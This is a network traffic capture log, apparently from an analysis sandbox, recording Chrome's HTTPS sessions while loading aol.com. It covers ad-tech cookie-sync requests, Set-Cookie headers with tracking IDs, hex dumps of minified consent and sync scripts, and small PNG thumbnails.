2024-05-23 22:34:57 UTC	442	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 25 Jul 2022 19:18:19 GMT P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" CF-Cache-Status: HIT Age: 960 Expires: Fri, 24 May 2024 02:34:57 GMT Cache-Control: public, max-age=14400 Accept-Ranges: bytes Server: cloudflare CF-RAY: 8888842fad767c90-EWR
2024-05-23 22:34:57 UTC	927	IN	Data Raw: 62 36 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 69 66 28 65 5b 6e 5d 29 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 65 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 72 29 2c 69 2e 6c 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 72 2e 6d 3d 74 2c 72 2e 63 3d 65 2c 72 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 72 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: b68<!doctype html><head></head><body><script>!function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}r.m=t,r.c=e,r.d=function(t,e,n){r.o(t,e)\|\|Object.def
2024-05-23 22:34:57 UTC	1369	IN	Data Raw: 74 79 2e 63 61 6c 6c 28 74 2c 65 29 7d 2c 72 2e 70 3d 22 22 2c 72 28 72 2e 73 3d 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 6c 65 74 20 72 3d 21 31 3b 63 6f 6e 73 74 20 6e 3d 7b 7d 3b 6c 65 74 20 69 2c 61 2c 6f 2c 63 3b 63 6f 6e 73 74 20 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 6c 65 74 20 65 2c 72 2c 6e 3d 77 69 6e 64 6f 77 2c 69 3d 22 54 43 46 22 3d 3d 3d 74 3f 22 5f 5f 74 63 66 61 70 69 22 3a 22 5f 5f 75 73 70 61 70 69 22 2c 61 3d 22 54 43 46 22 3d 3d 3d 74 3f 22 5f 5f 74 63 66 61 70 69 4c 6f 63 61 74 6f 72 22 3a 22 5f 5f 75 73 70 61 70 69 4c 6f 63 61 74 6f 72 22 3b 66 6f 72 28 3b 6e 3b 29 7b 74 72 79 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 5b 69 5d 29 7b 72 3d 6e 5b 69 5d 2c 65 3d 6e 3b 62 Data Ascii: ty.call(t,e)},r.p="",r(r.s=0)}([function(t,e){let r=!1;const n={};let i,a,o,c;const u={};function s(t){let e,r,n=window,i="TCF"===t?"__tcfapi":"__uspapi",a="TCF"===t?"__tcfapiLocator":"__uspapiLocator";for(;n;){try{if("function"==typeof n[i]){r=n[i],e=n;b
2024-05-23 22:34:57 UTC	631	IN	Data Raw: 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 2c 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 77 69 64 74 68 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 68 65 69 67 68 74 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 66 72 61 6d 65 62 6f 72 64 65 72 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 61 72 67 69 6e 68 65 69 67 68 74 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 61 72 67 69 6e 77 69 64 74 68 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 63 72 6f 6c 6c 69 6e 67 22 2c 22 6e 6f 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 74 29 2c Data Ascii: setAttribute("style","display:none;"),i.setAttribute("width","0"),i.setAttribute("height","0"),i.setAttribute("frameborder","0"),i.setAttribute("marginheight","0"),i.setAttribute("marginwidth","0"),i.setAttribute("scrolling","no"),i.setAttribute("src",t),
2024-05-23 22:34:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.6	50019	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:57 UTC	816	OUT	GET /w/1.0/pd?gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: yahoo-bidout-d.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696
2024-05-23 22:34:57 UTC	622	IN	HTTP/1.1 200 OK Vary: Accept, Accept-Encoding Set-Cookie: i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; Version=1; Expires=Fri, 23-May-2025 22:34:57 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Set-Cookie: pd=v2\|1716503697\|vMgavPkWgyiK; Version=1; Expires=Fri, 07-Jun-2024 22:34:57 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Date: Thu, 23 May 2024 22:34:57 GMT Content-Type: text/html Content-Length: 880 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:34:57 UTC	880	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 3e 69 66 28 22 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 2e 61 6c 6c 6f 77 73 46 65 61 74 75 72 65 28 22 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 22 29 29 64 6f 63 75 6d 65 6e 74 2e 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 28 29 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2d 74 6d 2e 65 76 65 72 65 73 74 74 65 63 68 2e 6e 65 74 2f 75 70 69 2f 70 69 64 2f 6e 79 37 35 72 32 78 30 3f 72 65 64 69 72 3d 68 74 74 70 73 25 33 41 25 Data Ascii: <html><head><title>Pixels</title></head><body><script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script><img src="https://sync-tm.everesttech.net/upi/pid/ny75r2x0?redir=https%3A%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.6	50018	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:57 UTC	712	OUT	GET /sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1& HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:58 UTC	648	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:34:57 GMT Content-Length: 0 Connection: close Location: /sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&&ld=1 Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:34:57 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:34:57 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.6	50015	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:57 UTC	1175	OUT	GET /checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CUBQTSIL&prvid=2034%2C2031%2C2030%2C233%2C2028%2C2027%2C2026%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:58 UTC	657	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 38166 Content-Type: text/html; charset=UTF-8 Set-Cookie: usp_status=1; Expires=Sun, 24 Nov 2024 22:34:57 GMT; domain=.media.net; Path=/; sameSite=none; secure=true Set-Cookie: visitor-id=3595052986404735000V10; Expires=Fri, 23 May 2025 22:34:58 GMT; domain=.media.net; Path=/; sameSite=none; secure=true x-mnet-hl2: E P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 Cache-Control: max-age=172800 Expires: Sat, 25 May 2024 22:34:58 GMT Date: Thu, 23 May 2024 22:34:58 GMT Connection: close
2024-05-23 22:34:58 UTC	1	IN	Data Raw: 20 Data Ascii:
2024-05-23 22:34:58 UTC	16384	IN	Data Raw: 3c 68 74 6d 6c 3e 20 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 20 3c 62 6f 64 79 3e 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 74 72 79 7b 0a 76 61 72 20 63 6f 6f 6b 69 65 53 79 6e 63 43 6f 6e 66 69 67 20 3d 20 7b 22 64 61 74 61 6c 65 6e 22 3a 31 35 33 2c 22 76 69 73 69 74 6f 72 22 3a 7b 22 76 73 43 6b 22 3a 22 76 69 73 69 74 6f 72 2d 69 64 22 2c 22 76 73 44 61 43 6b 22 3a 22 64 61 74 61 22 2c 22 73 65 70 56 61 6c 22 3a 22 7c 22 2c 22 73 65 70 54 69 6d 65 22 3a 22 2a 22 2c 22 73 65 70 43 73 22 3a 22 7e 7e 22 2c 22 76 73 44 61 54 69 6d 65 22 3a 33 31 35 33 36 30 30 30 2c 22 63 63 22 3a 22 55 53 22 2c 22 7a 6f 6e 65 22 3a 22 65 22 2c 22 63 6f 63 22 3a 22 4e 41 22 7d 2c 22 63 73 22 3a 22 38 22 2c 22 6c 6f 6f Data Ascii: <html> <head></head> <body> <script type="text/javascript">try{var cookieSyncConfig = {"datalen":153,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"US","zone":"e","coc":"NA"},"cs":"8","loo
2024-05-23 22:34:58 UTC	8192	IN	Data Raw: 65 66 29 3b 72 65 74 75 72 6e 20 74 2e 67 65 74 50 61 72 61 6d 28 22 67 70 70 22 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 29 7b 76 61 72 20 74 3d 6e 65 77 20 6e 2e 47 65 74 50 61 72 61 6d 56 61 6c 75 65 46 72 6f 6d 55 72 6c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3b 72 65 74 75 72 6e 20 74 2e 67 65 74 50 61 72 61 6d 28 22 67 70 70 5f 73 69 64 22 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 76 61 72 20 74 3d 6e 65 77 20 6e 2e 47 65 74 50 61 72 61 6d 56 61 6c 75 65 46 72 6f 6d 55 72 6c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3b 72 65 74 75 72 6e 20 74 2e 67 65 74 50 61 72 61 6d 28 22 61 78 69 64 5f 65 22 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 29 7b 72 65 74 75 72 6e 20 74 2e 69 6e 66 6f 26 26 74 2e 69 6e 66 Data Ascii: ef);return t.getParam("gpp")}function C(){var t=new n.GetParamValueFromUrl(window.location.href);return t.getParam("gpp_sid")}function h(){var t=new n.GetParamValueFromUrl(window.location.href);return t.getParam("axid_e")}function v(){return t.info&&t.inf
2024-05-23 22:34:58 UTC	13589	IN	Data Raw: 69 6c 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 7b 65 2e 73 65 74 46 72 61 6d 65 28 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 6e 2c 74 2c 69 29 7b 65 2e 73 65 74 53 63 72 69 70 74 28 6e 2c 74 2c 69 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 6e 29 7b 65 2e 73 65 74 49 6d 61 67 65 28 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 65 2e 69 73 53 65 6e 64 42 65 61 63 6f 6e 28 29 3f 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 6e 29 3a 65 2e 73 65 74 49 6d 61 67 65 28 6e 29 7d 72 65 74 75 72 6e 7b 73 65 74 46 72 61 6d 65 3a 6e 2c 73 65 74 53 63 72 69 70 74 3a 74 2c 73 65 74 49 6d 61 67 65 3a 69 2c 73 65 6e 64 42 65 61 63 6f 6e 3a 63 7d 7d 29 3b Data Ascii: il],function(e){"use strict";function n(n){e.setFrame(n)}function t(n,t,i){e.setScript(n,t,i)}function i(n){e.setImage(n)}function c(n){e.isSendBeacon()?window.navigator.sendBeacon(n):e.setImage(n)}return{setFrame:n,setScript:t,setImage:i,sendBeacon:c}});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.6	50025	208.93.169.131	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:58 UTC	719	OUT	GET /bh/rtset?pid=558355&ev=1&us_privacy=${us_privacy}&gpp=$&gpp_sid=$&rurl=https%3A%2F%2Frtb.gumgum.com%2Fusersync%3Fb%3Dpln%26i%3D%25%25VGUID%25%25 HTTP/1.1 Host: bh.contextweb.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:58 UTC	1318	IN	HTTP/1.1 302 Found p3p: policyref="/bh/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" accept-ch: Sec-CH-UA,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version cw-server: bh-deployment-77c5966d9-nb8fh cache-control: private, max-age=0, no-cache, no-store expires: -1 content-language: en-US set-cookie: V=7WXU1ZUhF2Kx;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Sun, 18-May-2025 22:34:58 GMT;Max-Age=31104000;SameSite=None set-cookie: VP=part_7WXU1ZUhF2Kx;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31104000;Secure;Expires=Sun, 18-May-2025 22:34:58 GMT;SameSite=None;Partitioned set-cookie: pb_rtb_ev=3-1rj5\|7bq.0.1;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Fri, 23-May-2025 22:34:58 GMT;Max-Age=31536000;SameSite=None set-cookie: pb_rtb_ev_part=3-1rj5\|7bq.0.1;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31536000;Secure;Expires=Fri, 23-May-2025 22:34:58 GMT;SameSite=None;Partitioned location: https://rtb.gumgum.com/usersync?b=pln&i=7WXU1ZUhF2Kx&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355 transfer-encoding: chunked server: Jetty(10.0.14) set-cookie: INGRESSCOOKIE=c5b45f34918a01ee; path=/; HttpOnly; Secure; SameSite=None connection: close
2024-05-23 22:34:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.6	50023	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:58 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-11%2F24ea2060-2fbd-11eb-b6fd-a6e16217c6e6&client=76f99bdb8f78cd44cc0b&signature=1419feb050e694c7a2754e158012c82126a1c217 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:58 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2040872 Cache-Control: public, max-age=2592000 Cache-Tag: 491159898302368516984374933222855513569,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21982-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:58 GMT Edge-Cache-Tag: 491159898302368516984374933222855513569,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "5350207f56e7cdafebb681074189cc85" Expiration: expiry-date="Thu, 18 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Fri, 19 Jan 2024 21:44:58 GMT Server: ECAcc (lhd/35A8) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=339,owidth=400,oheight=400,obytes=109294,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kjyo7100070-IAD X-Timer: S1711266027.053369,VS0,VE97 Content-Length: 339 Connection: close
2024-05-23 22:34:58 UTC	339	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 5d 50 4c 54 45 47 70 4c ff ff ff ff ff ff fd eb d6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd d4 aa fd fc fa e6 e6 e5 fe f5 ea eb eb eb fc ca 94 fc e4 c8 f5 f5 f5 fc de bc bf bf bf e1 e1 e1 d3 d3 d3 fd c3 89 fc d9 b3 fc ce 9e f0 f0 f0 b3 b3 b3 ca ca ca d9 d9 d9 9e 9e 9e de de de 51 88 cf a1 00 00 00 0a 74 52 4e 53 00 c1 ff ff 97 f9 d9 09 9a 31 a3 db f8 54 00 00 00 9b 49 44 41 54 18 d3 6d 4f 49 12 c3 20 0c 23 18 08 98 9d ec 49 9b ff 3f 33 76 d2 e9 a1 53 1d 34 b6 2c 19 2c 04 c1 29 a3 b5 51 4e 3c e8 ad fc c0 f6 77 df 71 1d 23 73 c7 0a cf a1 94 b6 00 7b 28 cf 63 84 82 73 66 93 13 8a 18 1b 60 c1 8c 54 2a 61 88 e7 86 31 36 98 a9 34 42 b3 23 Data Ascii: PNGIHDR(-S]PLTEGpLQtRNS1TIDATmOI #I?3vS4,,)QN<wq#s{(csf`T*a164B#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.6	50022	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:58 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-12%2F515ef980-3432-11eb-b5ef-2a7f8e085664&client=76f99bdb8f78cd44cc0b&signature=d35cb23bd2a7d15db2b9b7fbe5c674ff1e2112a3 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:58 UTC	1130	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53625 Cache-Control: public, max-age=2592000 Cache-Tag: 289563384341639314616203678204663212279,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000123-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 61 Content-Type: image/png Date: Thu, 23 May 2024 22:34:58 GMT Edge-Cache-Tag: 289563384341639314616203678204663212279,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "71b1b04e436c24693e6ff49bc0f9043b" Expiration: expiry-date="Wed, 07 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 08 Feb 2024 18:27:12 GMT Server: ECAcc (lhd/370D) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=358,owidth=400,oheight=400,obytes=52347,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21938-LGA X-Timer: S1711266074.561274,VS0,VE1 Content-Length: 358 Connection: close
2024-05-23 22:34:58 UTC	358	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 6f 50 4c 54 45 47 70 4c 1e 1e 1e ff ff ff ff ff ff 00 00 00 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 1f 1f 1f ea ea ea f6 f6 f6 00 00 00 ff ff ff fd fd fd c2 c2 c2 72 72 72 67 67 67 7e 7e 7e ec ec ec 94 94 94 29 29 29 3f 3f 3f 1d 1d 1d f9 f9 f9 08 08 08 89 89 89 d1 d1 d1 59 59 59 49 49 49 f2 f2 f2 11 11 11 b3 b3 b3 a3 a3 a3 30 30 30 77 77 77 04 02 07 06 00 00 00 0d 74 52 4e 53 00 c1 9a 09 f9 09 c1 98 d9 31 c1 9a 09 f1 cc a4 79 00 00 00 99 49 44 41 54 18 19 2d c1 07 42 04 21 10 45 c1 af c2 36 a8 af 61 f2 6c 36 dd ff 8c b2 62 95 1e b2 a5 10 92 65 75 d1 f8 67 51 4d 3c 30 5c c7 a5 d2 3c bd 48 32 26 bf 1f fd 0c 7c 5c 9e a5 cc 36 dd d6 e2 2b 9c aa 2f Data Ascii: PNGIHDR(-SoPLTEGpLrrrggg~~~)))???YYYIII000wwwtRNS1yIDAT-B!E6al6beugQM<0\<H2&\|\6+/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.6	50024	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:58 UTC	793	OUT	GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_variety_168%2F86398a45e567bb803f18e1c898b80f4d&client=76f99bdb8f78cd44cc0b&signature=fa8a7e31abec34ce9bbd0b370082807b05100ca9 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
